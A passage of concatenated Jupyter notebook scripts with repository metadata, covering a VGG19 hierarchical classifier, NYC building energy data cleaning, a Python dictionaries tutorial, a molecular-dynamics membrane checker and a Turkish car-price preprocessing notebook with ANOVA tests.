5\nx = Conv2D(512, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = Conv2D(512, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = Conv2D(512, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\nx = Conv2D(512, (3, 3), activation='relu', padding='same')(x)\nx = BatchNormalization()(x)\n\n#fine \nx = Flatten(name='flatten')(x)\nx = Dense(4096, activation='relu')(x)\nx = BatchNormalization()(x)\nx = Dropout(0.5)(x)\nx = Dense(4096, activation='relu')(x)\nx = BatchNormalization()(x)\nx = Dropout(0.5)(x)\nfine_pred = Dense(num_classes, activation='softmax')(x)\n\n\nmodel = Model(img_input, [c_1_pred, c_2_pred, fine_pred], name='vgg19_hierarchy')\n\n\n# + id=\"HOvCqI04U2mm\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} outputId=\"b18e1d0b-2c78-41f4-8e69-01698626ca1e\"\nmodel.summary()\n\n# + id=\"t-2unRQHU9UA\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} outputId=\"1120c879-4125-4562-b7b3-8356401be9dd\"\nsgd = optimizers.SGD(lr=0.001, momentum=0.9, nesterov=True)\nmodel.compile(loss='categorical_crossentropy', \n optimizer=sgd, \n loss_weights=[alpha, beta, gamma], \n # optimizer=keras.optimizers.Adadelta(),\n metrics=['accuracy'])\ntb_cb = TensorBoard(log_dir=log_filepath, histogram_freq=0)\nchange_lr = LearningRateScheduler(scheduler)\nchange_lw = LossWeightsModifier(alpha, beta, gamma)\ncbks = [change_lr, tb_cb, change_lw]\n\nhistory = model.fit(x_train, [y_c1_train, y_c2_train, y_train],\n batch_size=batch_size,\n epochs=epochs,\n verbose=1,\n callbacks=cbks,\n validation_data=(x_test, [y_c1_test, y_c2_test, y_test]))\n\n# + id=\"DR_3dA9VVEHa\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34} outputId=\"205df3cd-b68e-451b-c90c-78ba51de0d9a\"\n\n'''model.compile(loss=keras.losses.categorical_crossentropy,\n # optimizer=keras.optimizers.Adadelta(),\n optimizer=sgd, \n metrics=['accuracy'])'''\n\n#model.save(model_path)\nscore = model.evaluate(x_test, [y_c1_test, y_c2_test, y_test], verbose=0)\nprint('score is: ', score)\n\n# + id=\"3oirxr40ftyo\" colab_type=\"code\" colab={}\n# plot the loss and accuracy\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n\nloss = history.history['loss']\ndense_3_loss = history.history['dense_3_loss']\ndense_6_loss = history.history['dense_6_loss']\ndense_9_loss = history.history['dense_9_loss']\ndense_3_accuracy = history.history['dense_3_accuracy']\ndense_6_accuracy = history.history['dense_6_accuracy']\ndense_9_accuracy = history.history['dense_9_accuracy']\nval_loss = history.history['val_loss']\nval_dense_3_loss = history.history['val_dense_3_loss']\nval_dense_6_loss = history.history['val_dense_6_loss']\nval_dense_9_loss = history.history['val_dense_9_loss']\nval_dense_3_accuracy = history.history['val_dense_3_accuracy']\nval_dense_6_accuracy = history.history['val_dense_6_accuracy']\nval_dense_9_accuracy = history.history['val_dense_9_accuracy']\n\nepochs = range(1, 60)\n\nplt.title('Training and validation accuracy')\nplt.plot(epochs, dense_3_accuracy, 'red', label='Training C1 accuracy')\nplt.plot(epochs, dense_6_accuracy, 'blue', label='Training C2 accuracy')\nplt.plot(epochs, dense_9_accuracy, 'green', label='Training F accuracy')\nplt.plot(epochs, val_dense_3_accuracy, 'yellow', label='Validation C1 accuracy')\nplt.plot(epochs, val_dense_6_accuracy, 'violet', label='Validation C2 accuracy')\nplt.plot(epochs, val_dense_9_accuracy, 'gray', label='Validation F accuracy')\nplt.legend()\n\nplt.figure()\nplt.title('Training and validation loss')\nplt.plot(epochs, dense_3_loss, 'red', label='Training C1 loss')\nplt.plot(epochs, dense_6_loss, 'blue', label='Training C2 loss')\nplt.plot(epochs, dense_9_loss, 'green', label='Training F loss')\nplt.plot(epochs, val_dense_3_loss, 'yellow', label='Validation C1 loss')\nplt.plot(epochs, val_dense_6_loss, 'violet', label='Validation C2 loss')\nplt.plot(epochs, val_dense_9_loss, 'gray', label='Validation F loss')\n\nplt.legend()\n\nplt.show()\n","repo_name":"AdicherlaVenkataSai/HCNN","sub_path":"VGG19HCNN.ipynb","file_name":"VGG19HCNN.ipynb","file_ext":"py","file_size_in_byte":13414,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"36435603925","text":"# ## Machine Learning Project : \n#\n\n# ### 1. Business Problem : Predicting the Energy Star Score of a building:\n\n# ### 1.1 Description :\n# \n# The NYC Benchmarking Law requires owners of large buildings to annually measure their energy and water consumption in a process called benchmarking. The law standardizes this process by requiring building owners to enter their annual energy and water use in the U.S. Environmental Protection Agency's (EPA) online tool, ENERGY STAR Portfolio Manager and use the tool to submit data to the City. This data informs building owners about a building's energy and water consumption compared to similar buildings, and tracks progress year over year to help in energy efficiency planning.\n#\n# ### 1.2 objective:\n# The objective that we are proposing here to achive is to use the energy data to build a model that can predict the Energy Star Score of a building(Residentail and Non Residentail spaces) and interpret the results to find the factors which influence the score or the predictions.\n#\n# ### 1.3 Source/Useful Links:\n# 1. https://www1.nyc.gov/html/gbee/html/plan/ll84.shtml\n#\n# 2. http://www.nyc.gov/html/gbee/downloads/misc/nyc_benchmarking_disclosure_data_definitions_2017.pdf\n#\n#\n# ### 1.4 Machine Learning constraints:\n# 1. Interpretability of the results is important.\n# 2. Feature importance of the data-point belonging to each class is needed to make the models more interpretable\n# \n# \n# \n# \n\n# ### 2. Machine Learning Problem Formulation :\n#\n# The Workflow that we will use here are as follows as guided in the assignemnt email.\n#\n# 1. Exploratory data analysis.\n# 2. Data cleaning.\n# 3. Feature engineering.\n# 4. Feature selection.\n# 5. Making baseline Model.\n# 6. Use Different Machine Laerning Models to check for better performance.\n# 5. Hyperparameter tuning the hyperparametres of different models.\n# 6. Fiding the Best Machine learning model which best suits for the problem statement.\n# 7. Interpret the model results and reasoning for using the model.\n# 8. Conclusion.\n# 9. Final report for presentation.\n\n# ### 2.1 Data Overview and Data Cleaning \n\n# Importing some libraries for data analysis\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n# +\n# reading the dataset as a dataframe for this we will use pandas \n# as we are having the dataset as an Excel file so we will use the read_csv function in pandas \n\n# https://pandas.pydata.org/\n\n\n\"\"\"\nThe details about the columns in the dataste can be found in the PDF below : \n\nhttp://www.nyc.gov/html/gbee/downloads/misc/nyc_benchmarking_disclosure_data_definitions_2017.pdf\n\n\"\"\"\n\ndata = pd.read_csv(\"energydata.csv\")\ndata.head(5)\n# -\n\nprint(\"The Coloumns in the dataset are as follows\", data.columns , end= \"/n\", sep = \" \")\n\n# ### Description of the Columns in the dataset :\n\n# ![image.png](attachment:image.png)\n\n# ![image.png](attachment:image.png)\n\n# ![image.png](attachment:image.png)\n\n# ![image.png](attachment:image.png)\n\n# ![image.png](attachment:image.png)\n\n# ![image.png](attachment:image.png)\n\n# +\n# some basic information about the dataset. \n\nprint(\"The Number of Columns in the dataste is \" , data.shape[1])\nprint(\"*\"*100)\n\nprint(\"The number of datapoints in the dataset are :\" ,data.shape[0])\n\n# +\n# checking the basic stats of the dataset : \n\n\"\"\"\nThe describe function in pandas can be used to get the basic stats of the data , we can have a look on this and have a \n1000 feet overview of the distribution of the data , the mean and the standard devation of the numnerical data . \n\n\"\"\"\n\nprint(data.describe())\n\n# +\n# checking for missing values in the dataset : \n\n# refrence : https://stackoverflow.com/questions/29530232/how-to-check-if-any-value-is-nan-in-a-pandas-dataframe\n\n\"\"\"\nThis shows that we are having NON or missing values in the dataset.\n\n\"\"\"\n\nprint(data.isnull().any().any())\n\n# +\n# checking data types of the coloumns \n\n\"\"\"\nBelow output shows the datatypes of the values in the data and the Column showing Non-Null Count as NON-Null becasue \nas we saw in the data.head the missing values are represented as \" Not Available \", and the usually we represent it as the \nnumpy.nan values or NAN(Not an number) , so pandas will read it as object data type as \" Not Available \" is a string.\ntherefor we have to convert it into the float point number orelse we cannot perform the perations on it , it will through an\nerror as cannot convert into interger or float or casting error . \n\n\n\"\"\"\nprint(data.info())\n# -\n\n\"\"\"\nconverting the values into a numpy varibale as NP.NAN\n\nref:https://stackoverflow.com/questions/27060098/replacing-few-values-in-a-pandas-dataframe-column-with-another-value\n\n\"\"\"\ndata = data.replace({'Not Available': np.nan})\n\n# now we have converted the Not Available as NP.Nan .\ndata.head(5)\n\n\"\"\"\nNow lets convert the datatypes of Object(string) to folat for only for the numerical values.\n\nthe reason for it is as we are also having some categorical values which are strings we need to manually find out and \nchange the values into folat or integers. \n\nthe blow code is to show all the data_types that belong to objects(string in pandas)\n\n\"\"\"\ndata_1 = []\nfor column in data:\n data_type = data[column].dtype\n if data_type == object:\n data_1.append(column)\nprint(data_1)\n\n# +\n\"\"\"\n\nNow we have to manually check the columns which has the Numerical valeus and then assign them as float datatype.\n\n** Please notice we are only converting the values which has some kind of quantification into it like Feet or Gallan.\n\nref:https://stackoverflow.com/questions/15891038/change-data-type-of-columns-in-pandas\nhttps://stackoverflow.com/questions/25952790/convert-pandas-series-from-dtype-object-to-float-and-errors-to-nans\nhttps://wellsr.com/python/python-convert-pandas-dataframe-string-to-float-int/\n\n\n\"\"\"\n\n\nfor col in data_1:\n if ('therms' in col or 'Score' in col or 'Metric Tons CO2e' in col or 'kWh' in col or 'ft²' in col or 'gal' in col or 'kBtu' in col):\n data[col] = data[col].astype(float)\n\n# +\n\"\"\"\nDone with the basic data type conversion now lets jump into finding the missing values in the dataste . \n\n\nref: https://stackoverflow.com/questions/29530232/how-to-check-if-any-value-is-nan-in-a-pandas-dataframe\n\nref : https://chartio.com/resources/tutorials/how-to-check-if-any-value-is-nan-in-a-pandas-dataframe/\n\nthe code below shows all the columns that are having the Null values and their corrosponding counts \n\n\"\"\"\n\n\nprint(data.isnull().sum())\n\n# +\n# percentage of the missing values in the dataset\npercentage_of_missing_values = data.isnull().sum() * 100 / len(data)\n\n# sorting the pandas series \n\npercentage_of_missing_values = percentage_of_missing_values.sort_values(ascending=False)\nprint(percentage_of_missing_values)\n\n# +\n\"\"\"\n\nWe will drop all the values that have the missng values percentage grater than 50% .\n\nDroping data is not a good idea but we have to do it becasue we cannot impute values randomely to the dataset . \n\nthere are ways around it to make a independent model for predicting the values then we can impute it , fro categorical values\nwe can impute the most commenly occuring values but it involves a lots of manual work to be done . \n\nlets see how the model perfroms and then if the performance is really low then we can use these features my manually \nencapulaiting the values, but for it need considerable amout of time for research and domain knowledge for impuataion. \n\n\"\"\"\n\nmissing_val = data.isnull().sum()\nmissing_val_percent = 100 * data.isnull().sum() / len(data) \nmis_val_table = pd.concat([missing_val, missing_val_percent], axis=1)\nmis_val_table_ren_columns = mis_val_table.rename(columns = {0 : 'Missing Values', 1 : 'percentage of Total Values'})\nmissing_data_frame = mis_val_table_ren_columns\nmissing_columns = list(missing_data_frame[missing_data_frame['percentage of Total Values'] > 50].index)\n\n\n# https://www.geeksforgeeks.org/creating-a-dataframe-from-pandas-series/\n# https://www.geeksforgeeks.org/python-delete-rows-columns-from-dataframe-using-pandas-drop/\n\n\n\ndata = data.drop(columns = list(missing_columns))\n# -\n\nprint('shape of the data after we remove the columns for missing values ' , data.columns.shape)\n\n# +\n# saving the clean dataset as a CSV file for further processing ! \n\n\ndata.to_csv('preprocessed.csv', index = False)\n\n\n\n# +\n\"\"\"\n\nchecking if the CSV is saved properly sometimes we have to use the different encodings for it . \n\nref: https://stackoverflow.com/questions/16923281/writing-a-pandas-dataframe-to-csv-file\n\n\n\"\"\"\n\nsujit = pd.read_csv(\"preprocessed.csv\")\nsujit.head(5)\n","repo_name":"sujitjean/InnData_Analytics","sub_path":"Data_Exploration_Notebook_1.ipynb","file_name":"Data_Exploration_Notebook_1.ipynb","file_ext":"py","file_size_in_byte":8638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"36621612044","text":"# # DICTIONNAIRES\n\ncar = {\n 'Name':'Dcia',\n 'Model':2023,\n \"Price\":100000,\n 'option':'tout option'\n }\n\ncar\n\nprint(car)\n\ncar1=dict(name='4*4',Model='Dacia',price=120000)\n\nprint(car1)\n\n# check type of object\ntype(car)\n\ntype(car1)\n\ncar\n\nprint(car['Price'])\n\ncar['Name']\n\n# +\n# in dictonary duclice in not allwed\n# -\n\na=[1,2,1,2]\n\na\n\ndi = {'name':\"jhon\",'name':'karim','age':28}\n\nprint(di)\n\nprint(di['name'])\n\ncar\n\nlen(car)\n\nprint(len(car))\n\naa = {'name':['karim','rim','jhon'],\n 'age':[25,5,87]}\n\naa\n\n# +\n# access items\n# -\n\ncar\n\nprint(car['Name'])\n\ncar.get('Model')\n\n# +\n# keys methodes\n# -\n\na = car.keys()\n\na\n\nb =car.values()\n\nb\n\n# befor change the value of Name\ncar\n\n# +\n\ncar['Name']='Golf'\n# -\n\n# after change the value\ncar\n\n# itmes function\nj = car.items()\n\nj\n\naka = {\n 1:112,\n\n 2:55,\n 5:87\n}\n\naka\n\n# +\ni = {\n (1,2):12,\n (3,4):45\n \n}\n# -\n\ni\n\ncar\n\ncar['Model']=2024\n\ncar\n\ncar.update({'option':'full option'})\n\ncar\n\n# +\n# add item\n# -\n\ncar['color']='red'\n\ncar\n\ncar.update({'country':'Morocco'})\n\ncar\n\n# +\n# remove itmes\n# -\n\ncar.pop('country')\n\ncar\n\ncar.popitem()\n\ncar\n\nj\n\naka\n\ndel aka\n\naka\n\ni\n\ni.clear()\n\ni\n\n# loop in dict\n\n\ncar\n\nfor i in car:\n print(i)\n\n# just values\nfor i in car.values():\n print(i)\n\n# just keys\nfor j in car.keys():\n print(j)\n\n# +\n# values and keys\n# -\n\nfor val,key in car.items():\n print(val,key)\n\n# # copy function\n\n\ncar\n\nmy_car = car.copy()\n\nmy_car\n\nmy_car1 = dict(car)\n\nmy_car1\n\n# +\n# nested dictionary\n# -\n\nmy_fam = {\n 'chiled1':{'name':'jo',\"age\":11},\n 'chiled2':{'name':\"juila\",'age':22},\n \"childe3\":{'name':'david','age':30}\n }\n \n\nmy_fam\n\n# +\n# from keys method\n# -\n\ny = ('karim','juila','brucre')\nx= 112\n\nmy_dic = dict.fromkeys(y,x)\n\nmy_dic\n\n\n","repo_name":"karimakar/python","sub_path":"DICTIONNAIRES.ipynb","file_name":"DICTIONNAIRES.ipynb","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"23211138819","text":"# # System Checker\n\n# ## Load System Data\n\nimport MDAnalysis as mda\nfrom MDAnalysis.analysis.leaflet import optimize_cutoff\nfrom MDAnalysis.analysis.leaflet import LeafletFinder\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport glob, os\nimport pandas as pd\n\n# +\nprefix = \"../Sample_files/TRPV2_test/\" #File location\ntop_file = f\"{prefix}step7_production.tpr\" #Topology file\ntop_file_2 = f\"{prefix}step6.6_equilibration.gro\" #Topology file 2\nindex = f\"{prefix}index.ndx\" #Index file\n\nlipid_list = [\"CHOL\", \"POPC\", \"PAPC\", \"PAPE\", \"DPSM\", \"PNGS\", \"POPA\", \"PAP1\", \"PAP6\"] #List of lipids in the system\n# -\n\n# ## Check membrane: leaflet lipid composition, charges\n\n#Load data as a MDA universe object\nu = mda.Universe(top_file, top_file_2)\n\n# +\ncutoff,N = optimize_cutoff(u, \"name PO4 ROH\")\nL = LeafletFinder(u, 'name PO4 ROH AM1', cutoff=cutoff)\nupper_resids = \" \".join({str(i) for i in L.groups(0).resids})\nlower_resids = \" \".join({str(i) for i in L.groups(1).resids})\n\nupper_atoms = u.select_atoms(f\"resid {upper_resids}\")\nlower_atoms = u.select_atoms(f\"resid {lower_resids}\")\n\nupper_lipids = {l:len(np.unique(L.groups(0)[L.groups(0).resnames == l].resids)) for l in np.unique(L.groups(0).resnames)}\nlower_lipids = {l:len(np.unique(L.groups(1)[L.groups(1).resnames == l].resids)) for l in np.unique(L.groups(1).resnames)}\n\nupper_ratios = {l:value/np.sum(list(upper_lipids.values())) for l,value in upper_lipids.items()}\nlower_ratios = {l:value/np.sum(list(lower_lipids.values())) for l,value in lower_lipids.items()}\n\nupper_ratios_2 = {l:value/np.min(list(upper_lipids.values())) for l,value in upper_lipids.items()}\nlower_ratios_2 = {l:value/np.min(list(lower_lipids.values())) for l,value in lower_lipids.items()}\n\nul_charge = upper_atoms.total_charge()\nll_charge = lower_atoms.total_charge()\n\nul_ind_charge = {lipid:upper_atoms[upper_atoms.resnames == lipid].total_charge() for lipid in upper_lipids}\nll_ind_charge = {lipid:lower_atoms[lower_atoms.resnames == lipid].total_charge() for lipid in lower_lipids}\n\nul_charge_per_lipid = {lipid:ul_ind_charge[lipid]/upper_lipids[lipid] for lipid in upper_lipids}\nll_charge_per_lipid = {lipid:ll_ind_charge[lipid]/lower_lipids[lipid] for lipid in lower_lipids}\n\n# +\ndf = pd.DataFrame.from_dict([upper_lipids,upper_ratios, upper_ratios_2, ul_charge_per_lipid, ul_ind_charge,\\\n lower_lipids,lower_ratios, lower_ratios_2, ll_charge_per_lipid, ll_ind_charge]).T\n\ndf.columns = [\"Upper Leaflet Count\", \"Upper Leaflet Ratio\", \"Upper Leaflet Ratio (2)\", \"Charge per lipid U\", \"Upper Leaflet Charge\",\n \"Lower Leaflet Count\", \"Lower Leaflet Ratio\", \"Lower Leaflet Ratio (2)\", \"Charge per lipid L\", \"Lower Leaflet Charge\"]\ndf.loc[\"Total\"] = df.sum()\n\ndf\n# -\n\n\n\n\n","repo_name":"Rasekuro/APM_lab","sub_path":"Analysis_scripts/System_Checker.ipynb","file_name":"System_Checker.ipynb","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"41540823026","text":"# # Veri Ön İşleme\n\n# ### 1- Sık kullanacağımız kütüphaneleri projemize dahil ediyoruz.\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# ### 2-Kullanacağımız verileri içeren veri dosyasını projemize dahil ediyoruz.\n\ndataset = pd.read_csv('Otomobil-Verileri.csv')\nX = dataset.iloc[:, :-1].values #Fiyat haricinde bulunan sütunları \"X\" değişkenine atıyoruz.\ny = dataset.iloc[:, -1].values #Fiyat bilgilerinin bulunduğu sütunu \"y\" değişkenine atıyoruz.\n\nprint(X) #Kontrol ediyoruz.\n\nprint(y) #Kontrol ediyoruz. \n\ndataset.head(20) #Bu komut ile verilerimize göz atıyoruz.\n\ndataset.info() #Bu komutu kullanarak sütunlarımz hakkında bilgi alıyoruz. Boş veri olmadığı için boş veri ile uğraşmaycağız.\n\n# ### 3- Veri kümemizde aykırı gözlem olup olmadığına bakıyoruz.\n\n# +\nfrom scipy import stats\n\nmodeller = ['Bayon', 'Kona', 'Taycan', 'Panamera']\n\naykirilar = {}\n\nfor _ in range(7):\n for model in modeller:\n model_fiyat = dataset[dataset['Model'] == model]['Fiyat']\n z_scores = stats.zscore(model_fiyat)\n outliers = model_fiyat[abs(z_scores) > 3]\n aykirilar[model] = outliers\n dataset = dataset[~dataset.index.isin(outliers.index)]\n\n y = pd.Series(y)\n for model, outliers in aykirilar.items():\n y = y[~y.index.isin(outliers.index)]\n\n dataset = dataset.dropna(how='all')\n\n dataset.reset_index(drop=True, inplace=True)\n y.reset_index(drop=True, inplace=True)\n\nfor model, outliers in aykirilar.items():\n print(\"Aykırı değerler -\", model)\n print(outliers)\n print(\"Aykırı gözlem sayısı:\", len(outliers))\n print()\n\nprint(\"*****Aykırı değerler*****\")\nprint()\nprint(dataset.info())\nprint()\n# -\n\n# X = dataset.iloc[:, :-1].values #Fiyat haricinde bulunan sütunları \"X\" değişkenine atıyoruz.\n# y = dataset.iloc[:, -1].values #Fiyat bilgilerinin bulunduğu sütunu \"y\" değişkenine atıyoruz.\n\n#Görüldüğü üzere yapılan z-score test sonucu aykırı değer olduğu tespit edilen satırlar kaldırıldı.\ndataset.info()\n\n# ### 4- Kategorik veri içeren sütunları etiketleme.\n\n# +\n#Sütunları etiketleme işlemi için bir sözlük oluşturuyoruz.\netiketler = {\n 'Marka': {'Hyundai': 0, 'Porsche': 1},\n 'Model': {'Bayon': 0, 'Kona': 1, 'Panamera': 2, 'Taycan': 3 },\n 'Motor': {'1.0 T-GDI': 0, '1.4 MPI': 1, '1.6 CRDI': 2, '1.6 T-GDI': 3, '2.9 L': 4, '3.0 L': 5, '3.7 L': 6, '4.0 L': 7, '4.9 L': 8, 'Elektrikli Motor': 9},\n 'Araç Paketi': {'4 Cross Turismo': 0, '4S': 1, '4S Cross Turismo': 2, '4S Performance': 3, '4S Performance Plus': 4, '4S Sport Turismo': 5, 'Elite': 6, 'Elite Smart': 7, 'GTS': 8, 'GTS Sport Turismo': 9, 'Hibrit Elite': 10, 'Hibrit Smart': 11, 'Hibrit Style': 12, 'Jump': 13, 'Panamera': 14, 'Panamera 4': 15, 'Elite': 16, 'Elite Smart': 17, 'Panamera 4 - 10 Years Edition': 18, 'Panamera 4 E-Hybrid': 19, 'Panamera 4 Platinum Edition': 20, 'Panamera 4 Sport Turismo': 21, 'Panamera 4S': 22, 'Panamera 4S Diesel': 23, 'Panamera 4S E-Hybrid': 24, 'Panamera 4S Sport Turismo': 25, 'Panamera Diesel': 26, 'Panamera GTS': 27, 'Panamera S': 28, 'Panamera S Hybrid': 29, 'Panamera Turbo': 30, 'Panamera Turbo S': 31, 'Panamera Turbo S E-Hybrid': 32, 'Progressive': 33, 'Smart': 34, 'Style': 35, 'Style Design': 36, 'Taycan': 37, 'Turbo': 38, 'Turbo S': 39, 'Turbo S Cross Turismo': 40},\n 'Yakıt': {'Benzin': 0, 'Benzin & LPG': 1, 'Dizel': 2, 'Elektrik': 3, 'Hybrid': 4},\n 'Vites': {'Otomatik': 1, 'Manuel': 0},\n 'Araç Durumu': {'İkinci El': 1, 'Yurtdışından İthal Sıfır': 0},\n 'Kasa Tipi': {'Coupe': 0, 'Coupe 4 kapı': 1, 'Hatchback 3 kapı': 2, 'Hatchback 5 kapı': 3, 'Sedan': 4, 'Station Wagon': 5, 'SUV': 6},\n 'Motor Gücü': {'200 hp\\'e kadar': 0, '200-500 hp': 1, '500 hp\\'ten fazla': 2},\n 'Motor Hacmi': {'1600 cm³’e kadar': 0, '2000 cm³’ten fazla ': 1, 'E': 2},\n 'Çekiş': {'4WD (Sürekli)': 0, '4x2 (Önden Çekişli)': 1, '4x4': 2, 'Arkadan İtiş': 3, 'AWD (Elektronik)': 4},\n 'Renk': {'Bej': 0, 'Beyaz': 1, 'Bordo': 2, 'Füme': 3, 'Gri': 4, 'Gümüş Gri': 5, 'Kahverengi': 6, 'Kırmızı': 7, 'Lacivert': 8, 'Mavi': 9, 'Mor': 10, 'Siyah': 11, 'Turkuaz': 12, 'Turuncu': 13, 'Yeşil': 13,},\n 'Araç Durumu': {'İkinci El': 1, 'Yurtdışından İthal Sıfır': 0},\n 'Garanti': {'Evet': 1, 'Hayır': 0},\n 'Ağır Hasar Kayıtlı': {'Evet': 1, 'Hayır': 0},\n 'Plaka / Uyruk': {'TR': 1, 'Yabancı': 0},\n 'Kimden': {'Galeriden': 0, 'Sahibinden': 1, 'Yetkili Bayiden': 2},\n 'Takas': {'Evet': 1, 'Hayır': 0},\n}\nX = pd.DataFrame()\n\n# Model Yıl ve Araç Kilometresi sütunlarını X'e ekleme\nX['Model Yıl'] = dataset['Model Yıl']\nX['Araç Kilometresi'] = dataset['Araç Kilometresi']\n\n# Diğer sütunları etiketleme ve X'e ekleme\nfor column, labels in etiketler.items():\n if column != 'Model Yıl' and column != 'Araç Kilometresi':\n X[column] = dataset[column].map(labels)\n\nprint(X)\n# -\n\nX.info()\n\n# ### 5- ANOVA ve Post Hoc Testi.\n\n# +\nimport pandas as pd\nfrom scipy.stats import f_oneway\nfrom statsmodels.stats.multicomp import pairwise_tukeyhsd\n\n# Sayısal sütunları seçin\nsayısal_sütunlar = [\"Model Yıl\", \"Araç Kilometresi\"]\nX_sayısal = dataset[sayısal_sütunlar].values\n\n# Kategorik sütunları seçin\nkategorik_sütunlar = list(set(dataset.columns) - set(sayısal_sütunlar) - {\"Fiyat\"})\nX_kategorik = dataset[kategorik_sütunlar].values\n\n# Bağımlı değişken (y) olarak \"Fiyat\" sütununu seçin\ny = dataset[\"Fiyat\"].values\n\n# ANOVA testini uygulayın (Sayısal sütunlar)\nf_istatistikleri_sayısal, p_değerleri_sayısal = [], []\n\nfor i in range(X_sayısal.shape[1]):\n gruplar = X_sayısal[:, i]\n f_istatistik, p_değer = f_oneway(*[y[gruplar == grup] for grup in set(gruplar)])\n f_istatistikleri_sayısal.append(f_istatistik)\n p_değerleri_sayısal.append(p_değer)\n\n# ANOVA testini uygulayın (Kategorik sütunlar)\nf_istatistikleri_kategorik, p_değerleri_kategorik = [], []\n\nfor i in range(X_kategorik.shape[1]):\n gruplar = X_kategorik[:, i]\n gruplar = gruplar.astype(str) # Grupları string olarak dönüştürün\n f_istatistik, p_değer = f_oneway(*[y[gruplar == grup] for grup in set(gruplar)])\n f_istatistikleri_kategorik.append(f_istatistik)\n p_değerleri_kategorik.append(p_değer)\n\n# Post hoc testini uygulayın (Tukey's HSD testi)\nposthoc_sonuçları = {}\n\nfor sütun in kategorik_sütunlar:\n sütun_indeks = kategorik_sütunlar.index(sütun)\n tukey = pairwise_tukeyhsd(y, X_kategorik[:, sütun_indeks])\n posthoc_sonuçları[sütun] = tukey\n\n# Sonuçları yazdırın\nprint(\"ANOVA Sonuçları (Sayısal Sütunlar):\")\nfor i in range(len(f_istatistikleri_sayısal)):\n sütun_adı = sayısal_sütunlar[i]\n print(\"Sütun:\", sütun_adı)\n print(\"F-istatistik değeri:\", f_istatistikleri_sayısal[i])\n print(\"p-değeri:\", p_değerleri_sayısal[i])\n print(\"-----------------------\")\n\nprint(\"ANOVA Sonuçları (Kategorik Sütunlar):\")\nfor i in range(len(f_istatistikleri_kategorik)):\n sütun_adı = kategorik_sütunlar[i]\n print(\"Sütun:\", sütun_adı)\n print(\"F-istatistik değeri:\", f_istatistikleri_kategorik[i])\n print(\"p-değeri:\", p_değerleri_kategorik[i])\n print(\"-----------------------\")\n\nprint(\"Post Hoc Testi (Tukey's HSD Testi) Sonuçları:\")\nfor sütun, tukey in posthoc_sonuçları.items():\n print(\"Sütun:\", sütun)\n print(tukey.summary())\n print(\"-----------------------\")\n \n # Etkisiz değişkenleri depolamak için bir liste oluşturun\netkisiz_degiskenler = []\n\n# Post hoc test sonuçlarını değerlendirin ve etkisiz değişkenleri belirleyin\nfor sütun, tukey in posthoc_sonuçları.items():\n gruplar = tukey.groupsunique\n p_değerleri = tukey.pvalues\n\n # Etkisiz değişkenleri belirleyin (p değeri 0.05'ten büyük olanlar)\n etkisiz_değişkenler_sütunu = [grup for grup, p in zip(gruplar, p_değerleri) if p > 0.05]\n \n if etkisiz_değişkenler_sütunu:\n etkisiz_degiskenler.append((sütun, etkisiz_değişkenler_sütunu))\n\n# Etkisiz değişkenleri ekrana yazdırın\nprint(\"Etkisiz Değişkenler:\")\nfor sütun, etkisiz_değişkenler_sütunu in etkisiz_degiskenler:\n print(f\"{sütun}: {', '.join(etkisiz_değişkenler_sütunu)}\") \n\n# +\netiketler = {\n'Marka': {'Hyundai': 0, 'Porsche': 1},\n'Model': {'Bayon': -9999, 'Kona': 1, 'Panamera': 2, 'Taycan': 3},\n'Motor': {'1.0 T-GDI': -9999, '1.4 MPI': -9999, '1.6 CRDI': -9999, '1.6 T-GDI': 3, '2.9 L': 4, '3.0 L': 5, '3.7 L': -9999, '4.0 L': 7, '4.9 L': 8, 'Elektrikli Motor': -9999},\n'Araç Paketi': {'4 Cross Turismo': -9999, '4S': -9999, '4S Cross Turismo': -9999, '4S Performance': 3, '4S Performance Plus': -9999, '4S Sport Turismo': 5, 'Elite': 6, 'Elite Smart': 7, 'GTS': 8, 'GTS Sport Turismo': 9, 'Hibrit Elite': 10, 'Hibrit Smart': 11, 'Hibrit Style': 12, 'Jump': 13, 'Panamera': 14, 'Panamera 4': 15, 'Panamera 4 - 10 Years Edition': 16, 'Panamera 4 E-Hybrid': 17, 'Panamera 4 Platinum Edition': 18, 'Panamera 4 Sport Turismo': 19, 'Panamera 4S': 20, 'Panamera 4S Diesel': 21, 'Panamera 4S E-Hybrid': 22, 'Panamera 4S Sport Turismo': 23, 'Panamera Diesel': 24, 'Panamera GTS': 25, 'Panamera S': 26, 'Panamera S Hybrid': 27, 'Panamera Turbo': -9999, 'Panamera Turbo S': 29, 'Panamera Turbo S E-Hybrid': 30, 'Progressive': 31, 'Smart': 32, 'Style': 33, 'Style Design': 34, 'Taycan': -9999, 'Turbo': 36, 'Turbo S': -9999, 'Turbo S Cross Turismo': 38},\n'Yakıt': {'Benzin': -9999, 'Benzin & LPG': 1, 'Dizel': 2, 'Elektrik': -9999, 'Hybrid': 4},\n'Vites': {'Otomatik': 0, 'Manuel': 1},\n'Araç Durumu': {'İkinci El': 0, 'Yurtdışından İthal Sıfır': 1},\n'Kasa Tipi': {'Coupe': 0, 'Coupe 4 kapı': -9999, 'Hatchback 3 kapı': 2, 'Hatchback 5 kapı': 3, 'Sedan': 4, 'Station Wagon': 5, 'SUV': 6},\n'Motor Gücü': {'200 hp\\'e kadar': 0, '200-500 hp': 1, '500 hp\\'ten fazla': 2},\n'Motor Hacmi': {'1600 cm³’e kadar': 0, '2000 cm³’ten fazla': 1, 'Elektrikli Motor': 